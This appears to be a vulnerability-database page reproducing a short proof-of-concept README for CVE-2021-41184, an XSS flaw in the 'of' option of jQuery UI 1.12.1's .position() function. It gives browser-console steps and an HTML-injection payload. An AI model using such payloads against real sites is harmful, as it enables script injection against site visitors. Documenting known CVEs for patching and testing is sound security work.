来源

关联漏洞

介绍

# Exploit-Medium-CVE-2021-41184

Exploit Medium	CVE-2021-41184 XSS in the `of` option of the `.position()` util

1. jQuery ui version v1.12.1 vulnerable

1.1 https://www.website.com/_js/jquery/jquery-ui-1.12.1/jquery-ui.min.js



------------------------------------------------Concept proof---------------------------------------------------------------



1. Open url 

2. Open inspect 

3. Look for some ID in site elements

3.1 #ID

4. Go to console tab

5. Inject script with ID selected at point 3.1

5.1 Script


	$("#id").position( {
	my: "center",
	at: "right bottom",
	of: "<img scr='https://media.makeameme.org/created/xss-xss-everywhere-5b8065.jpg' src='' />",
	collision: "none"
        });

文件快照

 [4.0K]  /data/pocs/e3f403e8207d18c2177b59617b016a449ea6466f
└── [ 704]  README.md

0 directories, 1 file

备注